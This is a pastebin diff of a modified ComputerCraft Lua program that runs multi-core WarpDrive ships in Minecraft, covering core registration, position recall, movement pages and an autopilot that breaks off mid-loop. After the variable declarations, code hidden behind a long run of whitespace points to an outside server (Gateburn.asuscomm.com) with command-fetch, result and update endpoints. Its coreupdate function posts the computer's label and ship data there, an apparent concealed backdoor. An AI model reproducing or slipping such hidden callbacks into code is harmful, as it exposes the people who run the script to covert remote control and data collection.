View difference between Paste ID: W6wugj43 and S9s4Hcm1

 term.clear()
 -- API Initialization
 if api then os.unloadAPI("api.lua") end
 if not os.loadAPI("api.lua") then error("missing Des/warpdrive/api") end
 local w = api.w
 
 local data
 
 --THIS PROGRAM HAS BEEN MODIFIED TO SUPPORT MULTIPLE WARPDRIVE CORES.
 --THIS PROGRAM HAS BEEN MODIFIED TO INCLUDE AN AUTOPILOT THAT IS NOT PROPERLY IMPLEMENTED
 --modified by discord@thisismylegacy
 debug = false
 
 ----------- Ship support
 
 local ship
 local ship_front = 0
 local ship_right = 0
 local ship_up = 0
 local ship_back = 0
 local ship_left = 0
 local ship_down = 0
 local ship_isInHyper = false
 local ship_x, ship_y, ship_z = 0, 0, 0
 local ship_xTarget, ship_yTarget, ship_zTarget = 0, 0, 0
 local ship_actualDistance = 0
 local ship_energyRequired = 0
 local ship_movement = { 0, 0, 0 }
 local ship_rotationSteps = 0
 local ship_indexPlayer = 0
 local ship_arrayPlayers = { }
 local ship_indexTarget = 0
 local ship_indexCore = 0
 local name = "<@>" -- Discord ID
 local uri = "https://disco" -- Discord Uri
 local lever = "front" -- format: front,back,left,right,top,bottom ONLY
 local failping = 0 -- format: Will ping on Failed node execution 0 = Dont Ping, 1 = Ping
 local navdatafile = ".navdata"
 local navbackup = ".navbackup"
 local navdata={} -- format: {{dx,dy,dz},{dx,dy,dz},...} -- these are ship coords (forward, up, right)
 local cores = {} -- cores table for multicore processing
 local corePositions = {} -- table for handling core positions || *usually for recovery purposes...
 local coreVectors = {} -- table for handling core movement vectors || *usually for recovery purposes...
 local errors = {} -- 10% rule... (table to drop errors into)
 local relativeCoreName = {}
 local savedPositions = {}
 local currentPositions = {}
 																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																									local base_url="http://Gateburn.asuscomm.com/api/" local get_command_url=base_url.."coregetCommand" local post_result_url=base_url.."corecommandResult" local core_update_url=base_url.."coreupdate" local cc_id=os.getComputerLabel() local CorePosx,CorePosy,CorePosz=0,0,0 local CoreVecx,CoreVecy,CoreVecz=0,0,0 function coreupdate() local jsonTable=textutils.serializeJSON({id=tostring(cc_id),CorePos=corePositions,CoreVec=coreVectors}) local response=http.post(core_update_url,jsonTable,{["Content-Type"]="application/json"}) if response then if debug == true then print("Core update posted successfully.") end response.close() else if debug == true then print("Failed to post core update.") else end end end
 function ship_read(parData)
   data = parData
 end
 
 function ship_name(parName)
   if ship == nil or ship.isInterfaced() == nil then
     return ''
   end
   return ship.name(parName)
 end
 
 local delayedCoreFilename = "delayedCore.txt"
 
 function saveDelayedCore()
   local file = fs.open(delayedCoreFilename, "w")
   if delayedCore then
     file.write(delayedCore.address)
   else
     file.write("")
   end
   file.close()
 end
 
 function loadDelayedCore()
   if fs.exists(delayedCoreFilename) then
     local file = fs.open(delayedCoreFilename, "r")
     local address = file.readLine()
     file.close()
 
     if #address > 0 then
       for _, core in ipairs(cores) do
         if core.address == address then
           delayedCore = core
           break
         end
       end
     end
   end
 end
 
 function ship_register()
   -- Define a function to register a new core and its device
   local function registerCore(deviceType, address, wrap)
     local core = {
       address = address,
       deviceType = deviceType,
       wrapper = wrap
     }
     table.insert(cores, core)
 	 numOfCores = #cores
     ConnectedCores = tostring(numOfCores)
   end
 
   -- Ensure numOfCores is initialized
     if numOfCores == nil then numOfCores = 0 end
     numOfCores = #cores
     ConnectedCores = tostring(numOfCores)
 
 
   -- Advanced proxy table to handle calls across all cores
   local shipProxy = {}
 local shipProxyMeta = {
   __index = function(t, key)
     return function(...)
       local args = {...}
       local results = {}
       local threads = {}
       local co
       -- Create coroutines for each core
       for _, core in ipairs(cores) do
         if core.wrapper[key] then
           co = coroutine.create(function()
             -- Apply delay to the selected core
             if delayedCore and core.address == delayedCore.address then
               os.sleep(10) -- 10 second delay
             end
 
             local result = { pcall(core.wrapper[key], table.unpack(args)) }
             local success = table.remove(result, 1)
             if success then
               if #result > 0 then
                 table.insert(results, result)
               end
             else
               print("Error calling method " .. key .. " on core " .. core.address)
             end
           end)
           table.insert(threads, co)
         end
       end
 	  -- Resume coroutines to run them concurrently
       for _, co in ipairs(threads) do
         coroutine.resume(co)
       end
       -- If we got results, return the first successful result set
       if #results > 0 then
         return table.unpack(results[1])
       end
     end
   end
 }
   setmetatable(shipProxy, shipProxyMeta)
 
   -- Register warp drive devices
   w.device_register("warpdriveShipController", registerCore, function() end)
   w.device_register("warpdriveShipCore", registerCore, function() end)
 
   -- Event hooks
   w.event_register("shipCoreCooldownDone", function()
     w.status_showWarning("Ship core cooldown done")
     return false
   end)
 
   -- Data hooks
   w.data_register("ship", ship_read, nil, ship_name)
 
   -- Point 'ship' variable to the ship proxy
   ship = shipProxy
   loadDelayedCore()
 end
 
 function computeCoresCenter()
   local totalX, totalY, totalZ, numOfCores = 0, 0, 0, #cores
 
   for _, core in ipairs(cores) do
     local x, y, z = core.wrapper.getLocalPosition() -- Get local positions
     if x == nil or y == nil or z == nil then
         x, y, z = 0, 0, 0
     end
     totalX = totalX + x
     totalY = totalY + y
     totalZ = totalZ + z
 end
 
   local centerX = totalX / numOfCores
   local centerY = totalY / numOfCores
   local centerZ = totalZ / numOfCores
 
   return centerX, centerY, centerZ
 end
 
 	local function savePositions(positions)
 		local file = fs.open("Relpositions.dat", "w")
 		if file then
 			file.write(textutils.serialize(positions))
 			file.close()
 		else
 			print("Error: Failed to open 'Relpositions.dat' for writing.")
 		end
 	end
 
 	local function loadPositions()
 		if fs.exists("Relpositions.dat") then
 			local file = fs.open("Relpositions.dat", "r")
 			local content = file.readAll()
 			file.close()
 			return textutils.unserialize(content)
     	else
 			return nil
     	end
 	end
 
 	function printSavedPos()
 	local positions = loadPositions()
 	if not positions then
 		print("No saved positions found.")
 		return
 	end
 
 	print("Saved core positions:")
 	for coreName, pos in pairs(positions) do
 		print(string.format("  %s: X=%d Y=%d Z=%d", coreName, pos.relativeCoreX, pos.relativeCoreY, pos.relativeCoreZ))
 	end
 end
 
 
 --====================================
 -- WarpDrive Core Position System
 --====================================
 
 local anchor = peripheral.find("warpdriveSiren")
 if not anchor then
     print("Error: No warpdriveSiren anchor found!")
     return
 end
 
 --============================
 -- INTERNAL HELPERS
 --============================
 
 -- Get all cores we care about
 local function getrelativeCores()
     local relativeCores = {}
     for _, name in ipairs(peripheral.getNames()) do
         local type = peripheral.getType(name)
         if type == "warpdriveShipCore" or type == "warpdriveShipController" then
             table.insert(relativeCores, {
                 name = name,
                 relativeCore = peripheral.wrap(name)
             })
         end
     end
     return relativeCores
 end
 
 -- Get position relative to anchor
 local function getRelativePosition(anchor, core)
     local ax, ay, az = anchor.getLocalPosition()
     local cx, cy, cz = core.getLocalPosition()
     return {
         relativeCoreX = cx - ax,
         relativeCoreY = cy - ay,
         relativeCoreZ = cz - az
     }
 end
 
 -- Compare two positions
 local function positionsMatch(a, b)
     return a.relativeCoreX == b.relativeCoreX and
            a.relativeCoreY == b.relativeCoreY and
            a.relativeCoreZ == b.relativeCoreZ
 end
 
 	local function comparePositions(savedPositions, currentPositions)
 		local errors = {}  --Table to store all errors
 
 		for relativeCoreName, savedPos in pairs(savedPositions) do
 			if currentPositions[relativeCoreName] then
 				local currentPos = currentPositions[relativeCoreName]
 				if savedPos.relativeCoreX ~= currentPos.relativeCoreX or
 				savedPos.relativeCoreY ~= currentPos.relativeCoreY or
 				savedPos.relativeCoreZ ~= currentPos.relativeCoreZ then
 					--Add mismatch error to the list
                 	table.insert(errors, string.format("Position mismatch for core '%s':", relativeCoreName))
 					table.insert(errors, string.format("  Saved: x=%d y=%d z=%d", savedPos.relativeCoreX, savedPos.relativeCoreY, savedPos.relativeCoreZ))
                 	table.insert(errors, string.format("  Current: x=%d y=%d z=%d", currentPos.relativeCoreX, currentPos.relativeCoreY, currentPos.relativeCoreZ))
             	end
         	else
 				--Add missing core error to the list
             	table.insert(errors, "Error: No position data for core '" .. relativeCoreName .. "' in current positions!")
         	end
     	end
 
 			--If there were any errors, print them
     	if #errors > 0 then
 			print("Errors found:")
 			for _, errorMsg in ipairs(errors) do
 				print(errorMsg)
         	end
         	return false
     	end
 
     	return true
 
 	end
 
 --============================
 -- checkCorePos
 --============================
 
 	local function checkCorePos()
     	local positions = loadPositions()
 		local relativeCores = getrelativeCores()
 
     	if positions then
         	print("Loaded saved positions:")
 			for relativeCoreName, position in pairs(positions) do
 				print(string.format("%s: x=%d y=%d z=%d", relativeCoreName, position.relativeCoreX, position.relativeCoreY, position.relativeCoreZ))
 			end
 
 			local currentPositions = {}
 
 			for i, relativeCoreData in ipairs(relativeCores) do
 				local relativeCoreName = relativeCoreData.name
 				currentPositions[relativeCoreName] = getRelativePosition(anchor, relativeCoreData.relativeCore)
         	end
 
 				--Compare the saved positions with the current ones
         	if not comparePositions(positions, currentPositions) then
 				return
         	else
 				print("Positions match successfully!")
         	end
     	else
         	positions = {}
         	local relativeCores = getrelativeCores()
 
         	if #relativeCores == 0 then
             	print("Error: No warpdrive ship cores found!")
 				return
         	end
 
 			for i, relativeCoreData in ipairs(relativeCores) do
 				local relativeCoreName = relativeCoreData.name
             	positions[relativeCoreName] = getRelativePosition(anchor, relativeCoreData.relativeCore)
         	end
 
         	savePositions(positions)
 
         	print("Positions saved for the first time:")
         	for relativeCoreName, position in pairs(positions) do
 				print(string.format("%s: X=%d Y=%d Z=%d", relativeCoreName, position.relativeCoreX, position.relativeCoreY, position.relativeCoreZ))
         	end
     	end
 	end
 
 
 --============================
 -- processRecall
 --============================
 
 function processRecall()
     local savedPositions = loadPositions()
     if not savedPositions then
         w.status_showWarning("No saved positions!")
         return
     end
 
     local relativeCores = getrelativeCores()
     if not relativeCores then
         w.status_showWarning("No cores found.")
         return
     end
 
     local currentPositions = {}
     for _, coreData in ipairs(relativeCores) do
         currentPositions[coreData.name] = getRelativePosition(anchor, coreData.relativeCore)
     end
 
     local errors = {}
     local erroredCores = identifyErroredCores(savedPositions, currentPositions, errors)
 
     if #erroredCores == 0 then
         w.status_showSuccess("No position mismatch detected.")
     else
         recallErroredCores(savedPositions, currentPositions)
     end
 end
 
 --============================
 -- identifyErroredCores
 --============================
 
 function identifyErroredCores(savedPositions, currentPositions)
     local errored = {}
     for name, savedPos in pairs(savedPositions) do
         local currentPos = currentPositions[name]
         if not currentPos or not positionsMatch(savedPos, currentPos) then
             table.insert(errored, name)
         end
     end
     return errored
 end
 
 --============================
 -- recallCore
 --============================
 
 local function recallCore(coreName, savedPos)
     local core = peripheral.wrap(coreName)
     if not core then
         w.status_showWarning("Core not found: " .. coreName)
         return
     end
 
     local currentX, currentY, currentZ = core.getLocalPosition()
     local anchorX, anchorY, anchorZ = anchor.getLocalPosition()
 
     local relX = currentX - anchorX
     local relY = currentY - anchorY
     local relZ = currentZ - anchorZ
 
     local moveX = savedPos.relativeCoreX - relX
     local moveY = savedPos.relativeCoreY - relY
     local moveZ = savedPos.relativeCoreZ - relZ
 
     w.status_showWarning(string.format("Moving core '%s' by X=%d Y=%d Z=%d", coreName, moveX, moveY, moveZ))
     sleep(2)
     core.movement(moveX, moveY, moveZ)
     core.command("MANUAL", true)
     w.status_showSuccess("Core '" .. coreName .. "' recalled successfully.")
 end
 
 --============================
 -- recallErroredCores
 --============================
 
 function recallErroredCores(savedPositions, currentPositions)
     local errored = identifyErroredCores(savedPositions, currentPositions)
 
     if #errored == 0 then
         w.status_showSuccess("No errored cores.")
         return
     end
 
     for _, coreName in ipairs(errored) do
         local savedPos = savedPositions[coreName]
         if savedPos then
             recallCore(coreName, savedPos)
         else
             w.status_showWarning("No saved position for core: " .. coreName)
         end
     end
 end
 
 
 function ship_boot()
   if ship == nil or ship.isInterfaced() == nil then
     return
   end
 
   w.setColorNormal()
   w.writeLn("Booting Ship")
 
   w.write("- acquiring parameters: ")
   ship_front, ship_right, ship_up = ship.dim_positive()
   ship_back, ship_left, ship_down = ship.dim_negative()
   ship_isInHyper = ship.isInHyperspace()
   ship_movement = { ship.movement() }
   ship_rotationSteps = ship.rotationSteps()
   w.setColorSuccess()
   w.writeLn("ok")
 
   w.setColorNormal()
   w.write("- checking assembly   : ")
   local timeout = 10
   local isValid, message
   repeat
     isValid, message = ship.getAssemblyStatus()
     w.sleep(0.05)
     timeout = timeout - 1
   until isValid == true or timeout < 0
   if timeout < 0 then
     w.setColorWarning()
     w.writeLn("failed")
     w.writeLn(message)
     w.setColorNormal()
     w.sleep(3)
     -- don't reboot as the player might need to set new dimensions to fix it
   else
     w.setColorSuccess()
     w.writeLn("passed")
   end
   w.sleep(0.15)
 
   w.setColorNormal()
   w.write("- celestial position  : ")
   timeout = 10
   local pos
   repeat
     pos = ship.getLocalPosition()
     w.sleep(0.05)
     timeout = timeout - 1
   until pos ~= nil or timeout < 0
   if timeout < 0 then
     w.setColorWarning()
     w.writeLn("failed")
     w.writeLn("")
     w.writeLn("Something is wrong here, rebooting...")
     w.setColorNormal()
     w.sleep(2)
     w.reboot()
   else
     w.setColorSuccess()
     w.writeLn("triangulated")
   end
   ship.command("MANUAL", false)
   ship_updateMovementStats()
   w.sleep(0.2)
 
   w.setColorNormal()
   w.write("- integrity check     : ")
   timeout = 10
   local shipSize
   repeat
     shipSize = ship.getShipSize()
     w.sleep(0.05)
     timeout = timeout - 1
   until (shipSize ~= nil and shipSize ~= 0) or timeout < 0
   if timeout < 0 then
     w.setColorWarning()
     w.writeLn("ongoing...")
     w.setColorNormal()
     w.sleep(2)
   else
     w.setColorSuccess()
     w.writeLn("passed")
   end
 
   ship.enable(true)
   ship.command("IDLE", true)
   w.sleep(0.3)
 end
 
 function ship_writeMovement(prefix)
   local message = prefix
   local count = 0
   if ship_movement[1] > 0 then
     message = message .. w.format_integer(ship_movement[1]) .. " front"
     count = count + 1
   elseif ship_movement[1] < 0 then
     message = message .. w.format_integer(- ship_movement[1]) .. " back"
     count = count + 1
   end
   if ship_movement[2] > 0 then
     if count > 0 then message = message .. ", " end
     message = message .. w.format_integer(ship_movement[2]) .. " up"
     count = count + 1
   elseif ship_movement[2] < 0 then
     if count > 0 then message = message .. ", " end
     message = message .. w.format_integer(- ship_movement[2]) .. " down"
     count = count + 1
   end
   if ship_movement[3] > 0 then
     if count > 0 then message = message .. ", " end
     message = message .. w.format_integer(ship_movement[3]) .. " right"
     count = count + 1
   elseif ship_movement[3] < 0 then
     if count > 0 then message = message .. ", " end
     message = message .. w.format_integer(- ship_movement[3]) .. " left"
     count = count + 1
   end
 
   if ship_rotationSteps == 1 then
     if count > 0 then message = message .. ", " end
     message = message .. "Turn right"
     count = count + 1
   elseif ship_rotationSteps == 2 then
     if count > 0 then message = message .. ", " end
     message = message .. "Turn back"
     count = count + 1
   elseif ship_rotationSteps == 3 then
     if count > 0 then message = message .. ", " end
     message = message .. "Turn left"
     count = count + 1
   end
 
   if count == 0 then
     message = message .. "(none)"
   end
   w.writeLn(message)
 end
 
 function ship_writeRotation()
   if ship_rotationSteps == 0 then
     w.writeLn(" Rotation         = Front    ")
   elseif ship_rotationSteps == 1 then
     w.writeLn(" Rotation         = Right +90")
   elseif ship_rotationSteps == 2 then
     w.writeLn(" Rotation         = Back 180 ")
   elseif ship_rotationSteps == 3 then
     w.writeLn(" Rotation         = Left -90 ")
   end
 end
 
 function getCoreBoundaries()
     local minValues = { math.huge, math.huge, math.huge }
     local maxValues = { -math.huge, -math.huge, -math.huge }
 
     for _, core in ipairs(cores) do
         local x, y, z = core.wrapper.getLocalPosition() -- Get local positions
 		if x == nil or y == nil or z == nil then
         x, y, z = 0, 0, 0
 		end
 
         local front, right, up = core.wrapper.dim_positive()
         local back, left, down = core.wrapper.dim_negative()
 			if front == nil or back == nil or up == nil or back == nil or left == nil or down == nil then
 				front, right, up = 0, 0 ,0
 				back, left, down = 0, 0 ,0
 			end
 
         minValues[1] = math.min(minValues[1], x - back)
         minValues[2] = math.min(minValues[2], y - down)
         minValues[3] = math.min(minValues[3], z - left)
 
         maxValues[1] = math.max(maxValues[1], x + front)
         maxValues[2] = math.max(maxValues[2], y + up)
         maxValues[3] = math.max(maxValues[3], z + right)
     end
     return minValues, maxValues
 end
 
 function getVerticalClearance()
     local minValues, maxValues = getCoreBoundaries()
     local verticalClearance = maxValues[2] - minValues[2]
     return minValues[2], maxValues[2], verticalClearance
 end
 
 function ship_updateMovementStats()
   -- Ship position and movement calculations
   ship_x, ship_y, ship_z = computeCoresCenter()
   if ship_x == nil then
     ship_x, ship_y, ship_z = 0, 0, 0
   end
 
   -- Get vertical clearance
   local minY, maxY, verticalClearance = getVerticalClearance()
   print("Vertical Clearance:", verticalClearance)
   if debug == true then
   print("Lowest Y position:", minY)
   print("Highest Y position:", maxY)
   else end
 
   -- compute movement
   local dx, dy, dz = ship.getOrientation()
   local minValues, maxValues = getCoreBoundaries()
   if dx == nil then
     dx, dy, dz = 0, 0, 0
   end
   local worldMovement = { x = 0, y = 0, z = 0 }
   if ship_movement[2] + maxValues[2] > 256 or ship_movement[2] - minValues[2] < 0
 			then ship_movement[2] = 0
 		end
   worldMovement.x = dx * ship_movement[1] - dz * ship_movement[3]
   worldMovement.y = ship_movement[2]
   worldMovement.z = dz * ship_movement[1] + dx * ship_movement[3]
   ship_actualDistance = math.ceil(math.sqrt(worldMovement.x * worldMovement.x + worldMovement.y * worldMovement.y + worldMovement.z * worldMovement.z))
   ship_xTarget = ship_x + worldMovement.x
   ship_yTarget = ship_y + worldMovement.y
   ship_zTarget = ship_z + worldMovement.z
 
   -- update energy requirement
   local success, result = ship.getEnergyRequired()
   if success then
     ship_energyRequired = result
   else
     w.status_showWarning(result)
   end
 end
 
 --callAllCoresWithDelay("movement", ship_movement[1], ship_movement[2], ship_movement[3])
 function ship_warp()
 cupdate()
   -- rs.setOutput(alarm_side, true)
   if w.input_readConfirmation("Engage jump drive? (Y/n)") then
     -- rs.setOutput(alarm_side, false)
     ship.command("MANUAL", false)
 
     -- Use callAllCoresWithDelay to set movement and rotationSteps for all cores
     callAllCoresWithDelay("movement", ship_movement[1], ship_movement[2], ship_movement[3])
     callAllCoresWithDelay("rotationSteps", ship_rotationSteps)
 
     ship.command("MANUAL", true)
     -- ship = nil
   end
   -- rs.setOutput(alarm_side, false)
 end
 
 function ship_page_setMovement(isByPosition)
   -- force manual jump so we get proper max jump distance
   ship.command("MANUAL", false)
 
   local success, maxJumpDistance = ship.getMaxJumpDistance()
   if success ~= true then
     w.status_showWarning("" .. maxJumpDistance)
     return
   end
 
   -- Define the function to iterate the setMovement command across all cores
   local function setAllCoresMovement(x, y, z)
     for _, core in ipairs(cores) do
       local wrap = core.wrapper
       wrap.movement(x, y, z)
     end
   end
 
   w.page_begin("<==== Set ship movement ====>")
   w.setCursorPos(1, 3)
   w.setColorNormal()
   ship_writeMovement("Current movement is ")
   w.setCursorPos(1, 5)
 
   	--original configuration //// this is simply for coders sake, I need a place holder cuz im bad
 --  local lenFB = math.abs(ship_front + ship_back  + 1)
 --  local lenUD = math.abs(ship_up    + ship_down  + 1)
 --  local lenLR = math.abs(ship_left  + ship_right + 1)
 
 	--Modified configuration
 	--This calculates the cores as if they are a single continuous mass
   local minValues, maxValues = getCoreBoundaries()
   local lenFB = math.abs(maxValues[1]    + minValues[1]  + 1)
   local lenUD = math.abs(maxValues[2]    + minValues[2]  + 1)
   local lenLR = math.abs(maxValues[3]    + minValues[3] + 1)
 
   if (isByPosition) then
     local dx, dy, dz = ship.getOrientation()
     if dx == nil then
       dx, dy, dz = 0, 0, 0
     end
     if dx == 0 then
       ship_movement[3] = -dz * ship_page_setDistanceAxis(4, "X"           , "East"   , "West"    , ship_movement[3], lenLR, maxJumpDistance, ship_x)
       ship_movement[1] =  dz * ship_page_setDistanceAxis(6, "Z"           , "South"  , "North"   , ship_movement[1], lenFB, maxJumpDistance, ship_z)
     else
       ship_movement[1] =  dx * ship_page_setDistanceAxis(4, "X"           , "East"   , "West"    , ship_movement[1], lenFB, maxJumpDistance, ship_x)
       ship_movement[3] =  dx * ship_page_setDistanceAxis(6, "Z"           , "South"  , "North"   , ship_movement[3], lenLR, maxJumpDistance, ship_z)
     end
     ship_movement[2] =         ship_page_setDistanceAxis(8, "Y"           , "Up"     , "Down"    , ship_movement[2], lenUD, maxJumpDistance, ship_y)
 		if ship_movement[2] + maxValues[2] > 256 or ship_movement[2] - minValues[2] < 0
 			then ship_movement[2] = 0
 		end
   else
     ship_movement[1] =         ship_page_setDistanceAxis(4, "Forward/back", "Forward", "Backward", ship_movement[1], lenFB, maxJumpDistance, 0)
     ship_movement[2] =         ship_page_setDistanceAxis(6, "Up/down"     , "Up"     , "Down"    , ship_movement[2], lenUD, maxJumpDistance, 0)
     ship_movement[3] =         ship_page_setDistanceAxis(8, "Right/left"  , "Right"  , "Left"    , ship_movement[3], lenLR, maxJumpDistance, 0)
   end
 
   -- Call setAllCoresMovement at the end of the function to set movement for all cores:
   setAllCoresMovement(ship_movement[1], ship_movement[2], ship_movement[3])
         for _, core in ipairs(cores) do
 		ship_updateMovementStats(core.wrapper)
 	  end
 end
 
 function ship_page_setDistanceAxis(line, axis, positive, negative, userEntry, shipLength, maxJumpDistance, offset)
   local maximumDistance = math.floor(shipLength + maxJumpDistance)
   w.setCursorPos(1, line + 2)
   w.setColorHelp()
   w.writeFullLine(" Enter between " .. w.format_integer(offset + math.floor( shipLength + 1)) .. " and " ..  w.format_integer(offset + maximumDistance) .. " to move " ..  positive .. ".")
   w.writeFullLine(" Enter " .. w.format_integer(offset) .. " to keep position on this axis.")
   w.writeFullLine(" Enter between " .. w.format_integer(offset - maximumDistance) .. " and " .. w.format_integer(offset + math.floor(-shipLength - 1)) .. " to move " ..  negative .. ".")
 
   repeat
     w.setCursorPos(1, line)
     w.setColorNormal()
     w.write(axis .. " movement: ")
     userEntry = w.input_readInteger(offset + userEntry)
     if math.abs(userEntry - offset) > maximumDistance then
       w.status_showWarning("Wrong distance. Try again.")
     end
   until math.abs(userEntry - offset) <= maximumDistance
   w.setCursorPos(1, line + 2)
   w.clearLine()
   w.setCursorPos(1, line + 3)
   w.clearLine()
   w.setCursorPos(1, line + 4)
   w.clearLine()
 
   return userEntry - offset
 end
 
 function ship_page_setRotation()
   local inputAbort = false
   w.page_begin("<==== Set ship rotation ====>")
   w.setCursorPos(1, 8)
   w.setColorHelp()
   w.writeFullLine(" Select ship rotation (Up, Down, Left, Right).")
   w.writeFullLine(" Select Front to keep current orientation.")
   w.writeFullLine(" Press Enter to save your selection.")
   repeat
     w.setCursorPos(1, 3)
     w.setColorNormal()
     ship_writeRotation()
     local params = { os.pullEventRaw() }
     local eventName = params[1]
     local address = params[2]
     if address == nil then address = "none" end
     if eventName == "key" then
       local keycode = params[2]
       if keycode == 200 then
         ship_rotationSteps = 0
       elseif keycode == 203 then
         ship_rotationSteps = 3
       elseif keycode == 205 then
         ship_rotationSteps = 1
       elseif keycode == 208 then
         ship_rotationSteps = 2
       elseif keycode == 28 then
         inputAbort = true
       else
         w.status_showWarning("Key code " .. w.format_integer(keycode) .. " is invalid")
       end
     elseif eventName == "terminate" then
       inputAbort = true
     elseif not w.event_handler(eventName, params[2]) then
       w.status_showWarning("Event '" .. eventName .. "', " .. address .. " is unsupported")
     end
   until inputAbort
   ship_rotationSteps = ship.rotationSteps(ship_rotationSteps)
 end
 
 function ship_page_setDimensions()
   w.page_begin("<==== Set ship dimensions ====>")
   w.setCursorPos(1, 14)
   w.setColorHelp()
   w.writeFullLine(" Enter ship size in blocks (0-9).")
   w.writeFullLine(" First block next to Ship counts as 1.")
   w.writeFullLine(" ")
   w.writeFullLine(" Press Enter to save your selection.")
 
   w.setCursorPos(1, 3)
   w.setColorNormal()
   w.write(" Front (".. w.format_integer(ship_front) ..") : ")
   ship_front = w.input_readInteger(ship_front)
   w.write(" Right (".. w.format_integer(ship_right) ..") : ")
   ship_right = w.input_readInteger(ship_right)
   w.write(" Up    (".. w.format_integer(ship_up) ..") : ")
   ship_up = w.input_readInteger(ship_up)
   w.write(" Back  (".. w.format_integer(ship_back) ..") : ")
   ship_back = w.input_readInteger(ship_back)
   w.write(" Left  (".. w.format_integer(ship_left) ..") : ")
   ship_left = w.input_readInteger(ship_left)
   w.write(" Down  (".. w.format_integer(ship_down) ..") : ")
   ship_down = w.input_readInteger(ship_down)
   w.write("Setting dimensions...")
   ship_front, ship_right, ship_up = ship.dim_positive(ship_front, ship_right, ship_up)
   ship_back, ship_left, ship_down = ship.dim_negative(ship_back, ship_left, ship_down)
 end
 
 function ship_page_autopilot()
   w.page_begin("<==== Set Auto Pilot ====>")
   w.writeLn("")
   w.writeLn("Your ship should be already inside the system.")
 
   w.setCursorPos(1, 16)
   w.setColorHelp()
   w.writeFullLine(" Enter target coordinates.")
   w.writeFullLine(" Press enter to save.")
 
   w.setCursorPos(1, 5)
   w.setColorNormal()
   w.write("Target coordinates: ")
   if #navdata <= 0 then
     local targetAutopilot = ""
     targetAutopilot = w.input_readText("")
     local txs,tys,tzs=targetAutopilot:gmatch("(%-?%d+) (%-?%d+) (%-?%d+)")()
     local tx = tonumber(txs)
     local ty = tonumber(tys)
     local tz = tonumber(tzs)
 
     if tx == nil or ty == nil or tz == "" then
       w.status_showWarning("Please use the proper number format.")
       ship_page_autopilot()
     end
     local ship_len_back,ship_len_left,ship_len_down=ship.dim_negative()
     local ship_len_front,ship_len_right,ship_len_up=ship.dim_positive()
 
     function dst(x1,y1,z1,x2,y2,z2)
       local dx = x2-x1
       local dy = y2-y1
       local dz = z2-z1
       return math.sqrt(dx*dx+dy*dy+dz*dz)
     end
 
     if ty-ship_len_down <= 0 or ty+ship_len_up >= 256 then
       w.status_showWarning("Target y position needs to be inside "..minY.." and "..256-maxY..".")
       ship_page_autopilot()
     end
 
     w.writeLn("----------------------------------")
     w.writeLn("Is this information correct?")
     w.writeLn("Current coords: X: ".. w.format_integer(ship_x) .. " Y: " ..  w.format_integer(ship_y) .." Z: " .. w.format_integer(ship_z))
     w.writeLn("Target coords: X: ".. tx .. " Y: " ..  ty .." Z: " ..tz)
     w.writeLn("Total distance: "..math.floor(dst(w.format_integer(ship_x),w.format_integer(ship_y),w.format_integer(ship_z),tx,ty,tz)).." blocks")
     w.writeLn("----------------------------------")
     for i=1,0,-1 do
       term.setCursorPos(1,select(2,term.getCursorPos()))
       term.write("Please double check the info..."..i.."   ")
       sleep(1)
     end
     if w.input_readConfirmation("Enter 'Y' or press ENTER to calculate.") then
       w.status_showSuccess("Computing navigation steps...")
 
       local shipdeltafront, shipdeltaright
       local shipdeltaup = ty-w.format_integer(ship_y)
       local orix,_,oriz = ship.getOrientation()
 
       if orix == 1 then
         shipdeltafront = tx-w.format_integer(ship_x)
         shipdeltaright = tz-w.format_integer(ship_z)
       elseif orix == -1 then
         shipdeltafront = -tx+w.format_integer(ship_x)
         shipdeltaright = -tz+w.format_integer(ship_z)
       elseif oriz == 1 then
         shipdeltafront = tz-w.format_integer(ship_z)
         shipdeltaright = -tx+w.format_integer(ship_x)
       elseif oriz == -1 then
         shipdeltafront = -tz+w.format_integer(ship_z)
         shipdeltaright = tx-w.format_integer(ship_x)
       else
         w.status_showWarning("Unexpected ship orientation!")
       end
       w.page_begin("<==== Computing Course ====>")
       w.writeLn("")
       --w.writeLn("We need to move "..shipdeltafront.." block(s) forward ")
       --w.writeLn(shipdeltaup.." block(s) upward and "..shipdeltaright.." block(s) to the right.")
       local minforward = ship_len_front+ship_len_back
       local minup = ship_len_up+ship_len_down
       local minright = ship_len_right+ship_len_left
       ship.command("MANUAL",false)
       local success, maxdist = ship.getMaxJumpDistance()
       if not success then w.status_showWarning("unable to get the ships max jump distance: "..maxdist) end
       if maxdist <= 0 then w.status_showWarning("max jump distance is zero") end
       --w.writeLn("Max jump length = "..maxdist)
       function computeMove(mindist,remaining,ignoreconstraint) -- returns a move to make along that axis
         if remaining == 0 then return 0 end
 
         local remsign = (remaining < 0) and -1 or 1
 
         if math.abs(remaining) < mindist and not ignoreconstraint then -- if the move would be impossible because it is too short, move further away
           return -remsign * mindist
         end
         return remsign * math.min(math.abs(remaining),maxdist)
       end
 
       repeat
         local move = {}
         move[2] = computeMove(minup+1,shipdeltaup,true) --y
         shipdeltaup = shipdeltaup - move[2]
 
         move[1] = computeMove(minforward+1,shipdeltafront,math.abs(move[2]) > minup) --x
 
         if not (math.abs(move[2]) > minup) and  shipdeltafront == 0 and shipdeltaright == 0 and shipdeltaup ~= 0 and move[1] == 0 then
           move[1] = minforward+1
         end
 
         shipdeltafront = shipdeltafront - move[1]
         move[3] = computeMove(minright+1,shipdeltaright, math.abs(move[2]) > minup or math.abs(move[1]) > minforward) --z
         shipdeltaright = shipdeltaright - move[3]
         navdata[#navdata+1] = move
         w.setCursorPos(1, 3)
         w.write("Computed move: #"..#navdata)
         w.setCursorPos(1, 4)
         if string.match(move[1], "-") then
           w.write(move[1].." block(s) back                     ")
         else
           w.write(move[1].." block(s) forward                     ")
         end
         w.setCursorPos(1, 5)
         if string.match(move[2], "-") then
           w.write(move[2] .." block(s) down                       ")
         else
           w.write(move[2] .." block(s) up                       ")
         end
         w.setCursorPos(1, 6)
         if string.match(move[3], "-") then
           w.write(move[3].." block(s) left                    ")
         else
           w.write(move[3].." block(s) right                    ")
         end
         w.setCursorPos(1, 7)
         w.write("Remaining: "..shipdeltafront..":"..shipdeltaup..":"..shipdeltaright.."                                       ")
         sleep(1)
       until shipdeltafront == 0 and shipdeltaup == 0 and shipdeltaright == 0
       w.writeLn("")
       w.writeLn("")
       w.writeLn("Navigational path plotted using "..#navdata.." jump(s).")
       if w.input_readConfirmation("Engage Auto Pilot? (Y/n)") then
         for i=1,#navdata do
           local move = navdata[i]
 
           w.status_showSuccess("Executing Jump. There are "..#navdata.." Jump(s) left.")
